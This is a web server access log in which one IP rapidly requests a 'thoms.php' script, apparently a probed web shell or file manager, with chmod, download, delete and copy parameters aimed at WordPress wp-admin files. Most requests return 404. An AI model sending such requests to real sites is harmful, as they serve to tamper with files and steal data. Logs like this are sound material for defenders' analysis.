45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?chmod=widgets-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?dl=error_log&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /broadweb.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /broadweb.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?del=widgets.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /broadweb.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?del=load-styles.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?dl=moderation.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:19 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /broadweb.com.tw/wp-admin/images/ HTTP/1.1" 200 3234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?dl=post-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?dl=theme-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?dl=about.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=about.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?del=menu.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /broadweb.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 576 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?del=widgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form-blocks.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?chmod=comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-tags.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-tags.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /broadweb.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?chmod=load-styles.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load-styles.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?chmod=options-connectors.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-admin.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fms-admin.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:20 -0400] "GET /broadweb.com.tw/wp-admin/upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /broadweb.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?chmod=maint&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=maint&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?chmod=ms-options.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?del=admin-footer.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcomment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcomment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fload-styles.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fload-styles.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fterm.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fterm.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:21 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?chmod=media-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-footer.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fadmin-footer.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /broadweb.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?del=erase-personal-data.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?chmod=plugins.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?dl=site-health-info.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?del=options-connectors.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-connectors.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?del=options-discussion.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fpress-this.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fpress-this.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?del=error_log&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fprivacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?dl=menu.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ftheme-install.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ftheme-install.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:22 -0400] "GET /broadweb.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?dl=link-manager.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /broadweb.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?del=media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-reading.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-reading.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?dl=site-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?dl=user-new.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?dl=async-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /broadweb.com.tw/wp-admin/erase-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?dl=edit-tags.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
